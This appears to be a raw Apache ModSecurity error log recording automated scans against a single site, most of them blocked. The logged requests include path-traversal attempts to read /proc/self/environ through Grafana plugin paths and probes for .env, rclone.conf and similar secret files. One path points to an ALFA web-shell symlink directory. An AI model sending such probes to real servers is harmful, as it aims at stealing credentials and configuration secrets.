[Sun Oct 25 22:08:43.663347 2026] [security2:error] [pid 2938938:tid 2938938] [client 34.81.7.133:40146] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/"] [unique_id "at62KwIuNp5K2_eTlG2KjAAAAC0"]
[Sun Oct 25 22:08:43.950063 2026] [security2:error] [pid 2936921:tid 2936921] [client 34.81.7.133:40164] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "clic3.sherwinpinturas.com"] [uri "/"] [unique_id "at62Kwdfoouc32iEpvzFhAAAAA8"]
[Sun Oct 25 22:08:43.950440 2026] [security2:error] [pid 2936921:tid 2936921] [client 34.81.7.133:40164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/"] [unique_id "at62Kwdfoouc32iEpvzFhAAAAA8"]
[Sun Oct 25 22:08:43.950699 2026] [security2:error] [pid 2936921:tid 2936921] [client 34.81.7.133:40164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/"] [unique_id "at62Kwdfoouc32iEpvzFhAAAAA8"]
[Sun Oct 25 22:08:43.958659 2026] [core:error] [pid 2927273:tid 2927273] (13)Permission denied: [client 185.191.171.4:47076] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hashtab_node/partial
[Sun Oct 25 22:08:44.634438 2026] [security2:error] [pid 2925278:tid 2925278] [client 34.81.7.133:40156] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.production::$DATA"] [unique_id "at62LBaKu-Zjs56a5J4r_AAAAAo"]
[Sun Oct 25 22:08:44.634851 2026] [security2:error] [pid 2925278:tid 2925278] [client 34.81.7.133:40156] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.production::$DATA"] [unique_id "at62LBaKu-Zjs56a5J4r_AAAAAo"]
[Sun Oct 25 22:08:44.635085 2026] [security2:error] [pid 2925278:tid 2925278] [client 34.81.7.133:40156] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.production::$DATA"] [unique_id "at62LBaKu-Zjs56a5J4r_AAAAAo"]
[Sun Oct 25 22:08:44.636816 2026] [security2:error] [pid 2942316:tid 2942316] [client 34.81.7.133:40176] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.development::$DATA"] [unique_id "at62LLZn9l1fDWzMN3C8zAAAAAQ"]
[Sun Oct 25 22:08:44.637263 2026] [security2:error] [pid 2942316:tid 2942316] [client 34.81.7.133:40176] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.development::$DATA"] [unique_id "at62LLZn9l1fDWzMN3C8zAAAAAQ"]
[Sun Oct 25 22:08:44.637607 2026] [security2:error] [pid 2942316:tid 2942316] [client 34.81.7.133:40176] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.development::$DATA"] [unique_id "at62LLZn9l1fDWzMN3C8zAAAAAQ"]
[Sun Oct 25 22:08:44.822682 2026] [core:error] [pid 2936921:tid 2936921] [client 34.81.7.133:40164] AH10244: invalid URI path (/%2e%2e/%2e%2e/%2e%2e/%2e%2e/.env)
[Sun Oct 25 22:08:44.827194 2026] [security2:error] [pid 2938938:tid 2938938] [client 34.81.7.133:40146] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /_nuxt/../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at62LAIuNp5K2_eTlG2KjwAAAC0"]
[Sun Oct 25 22:08:44.827284 2026] [security2:error] [pid 2938938:tid 2938938] [client 34.81.7.133:40146] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at62LAIuNp5K2_eTlG2KjwAAAC0"]
[Sun Oct 25 22:08:44.827499 2026] [security2:error] [pid 2938938:tid 2938938] [client 34.81.7.133:40146] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at62LAIuNp5K2_eTlG2KjwAAAC0"]
[Sun Oct 25 22:08:44.827727 2026] [security2:error] [pid 2938938:tid 2938938] [client 34.81.7.133:40146] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at62LAIuNp5K2_eTlG2KjwAAAC0"]
[Sun Oct 25 22:08:44.829690 2026] [security2:error] [pid 2938952:tid 2938952] [client 34.81.7.133:40174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.local::$DATA"] [unique_id "at62LKU3Viu-sjPfXm3rNAAAADM"]
[Sun Oct 25 22:08:44.830020 2026] [security2:error] [pid 2938952:tid 2938952] [client 34.81.7.133:40174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.local::$DATA"] [unique_id "at62LKU3Viu-sjPfXm3rNAAAADM"]
[Sun Oct 25 22:08:44.830247 2026] [security2:error] [pid 2938952:tid 2938952] [client 34.81.7.133:40174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.local::$DATA"] [unique_id "at62LKU3Viu-sjPfXm3rNAAAADM"]
[Sun Oct 25 22:08:44.830835 2026] [core:error] [pid 2926323:tid 2926323] [client 34.81.7.133:40152] AH10244: invalid URI path (/%2e%2e/%2e%2e/%2e%2e/%2e%2e/proc/self/environ)
[Sun Oct 25 22:08:45.024768 2026] [security2:error] [pid 2942316:tid 2942316] [client 34.81.7.133:40176] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "clic3.sherwinpinturas.com"] [uri "/api"] [unique_id "at62LbZn9l1fDWzMN3C8zgAAAAQ"]
[Sun Oct 25 22:08:45.025189 2026] [security2:error] [pid 2942316:tid 2942316] [client 34.81.7.133:40176] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/api"] [unique_id "at62LbZn9l1fDWzMN3C8zgAAAAQ"]
[Sun Oct 25 22:08:45.025446 2026] [security2:error] [pid 2942316:tid 2942316] [client 34.81.7.133:40176] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/api"] [unique_id "at62LbZn9l1fDWzMN3C8zgAAAAQ"]
[Sun Oct 25 22:08:45.038024 2026] [security2:error] [pid 2941950:tid 2941950] [client 34.81.7.133:40198] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /_image?href=/../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/_image"] [unique_id "at62LYLcv9dw313oUE998AAAAAM"]
[Sun Oct 25 22:08:45.038094 2026] [security2:error] [pid 2941950:tid 2941950] [client 34.81.7.133:40198] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /_image?href=/../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/_image"] [unique_id "at62LYLcv9dw313oUE998AAAAAM"]
[Sun Oct 25 22:08:45.038135 2026] [security2:error] [pid 2941950:tid 2941950] [client 34.81.7.133:40198] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /_image?href=/../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/_image"] [unique_id "at62LYLcv9dw313oUE998AAAAAM"]
[Sun Oct 25 22:08:45.038571 2026] [security2:error] [pid 2941950:tid 2941950] [client 34.81.7.133:40198] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/_image"] [unique_id "at62LYLcv9dw313oUE998AAAAAM"]
[Sun Oct 25 22:08:45.038809 2026] [security2:error] [pid 2941950:tid 2941950] [client 34.81.7.133:40198] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/_image"] [unique_id "at62LYLcv9dw313oUE998AAAAAM"]
[Sun Oct 25 22:08:45.040908 2026] [core:error] [pid 2938952:tid 2938952] [client 34.81.7.133:40174] AH10244: invalid URI path (/public/plugins/alertlist/../../../../../../../../proc/self/environ)
[Sun Oct 25 22:08:45.242368 2026] [core:error] [pid 2927273:tid 2927273] [client 34.81.7.133:40258] AH10244: invalid URI path (/public/plugins/grafana-clock-panel/../../../../../../../../proc/self/environ)
[Sun Oct 25 22:08:45.243856 2026] [security2:error] [pid 2943041:tid 2943041] [client 34.81.7.133:40246] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at62LTmSjUI1p_l1ZoRj2gAAAAc"]
[Sun Oct 25 22:08:45.244019 2026] [security2:error] [pid 2926323:tid 2926323] [client 34.81.7.133:40222] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /packages/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/packages/.env"] [unique_id "at62LS7g7KvJoU2B-eLMUwAAAAY"]
[Sun Oct 25 22:08:45.244134 2026] [security2:error] [pid 2943041:tid 2943041] [client 34.81.7.133:40246] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at62LTmSjUI1p_l1ZoRj2gAAAAc"]
[Sun Oct 25 22:08:45.244212 2026] [security2:error] [pid 2926323:tid 2926323] [client 34.81.7.133:40222] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/packages/.env"] [unique_id "at62LS7g7KvJoU2B-eLMUwAAAAY"]
[Sun Oct 25 22:08:45.244442 2026] [security2:error] [pid 2926323:tid 2926323] [client 34.81.7.133:40222] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/packages/.env"] [unique_id "at62LS7g7KvJoU2B-eLMUwAAAAY"]
[Sun Oct 25 22:08:45.244557 2026] [security2:error] [pid 2943041:tid 2943041] [client 34.81.7.133:40246] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at62LTmSjUI1p_l1ZoRj2gAAAAc"]
[Sun Oct 25 22:08:45.268550 2026] [security2:error] [pid 2934778:tid 2934778] [client 34.81.7.133:40190] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /client/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/client/.env"] [unique_id "at62LdYvsK9lv2bQxMABlQAAABA"]
[Sun Oct 25 22:08:45.268755 2026] [security2:error] [pid 2934778:tid 2934778] [client 34.81.7.133:40190] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/client/.env"] [unique_id "at62LdYvsK9lv2bQxMABlQAAABA"]
[Sun Oct 25 22:08:45.268992 2026] [security2:error] [pid 2934778:tid 2934778] [client 34.81.7.133:40190] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/client/.env"] [unique_id "at62LdYvsK9lv2bQxMABlQAAABA"]
[Sun Oct 25 22:08:45.298988 2026] [core:error] [pid 2942316:tid 2942316] [client 34.81.7.133:40176] AH10244: invalid URI path (/public/plugins/text/../../../../../../../../proc/self/environ)
[Sun Oct 25 22:08:45.300687 2026] [security2:error] [pid 2936921:tid 2936921] [client 34.81.7.133:40214] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "clic3.sherwinpinturas.com"] [uri "/rclone.conf"] [unique_id "at62LQdfoouc32iEpvzFhwAAAA8"]
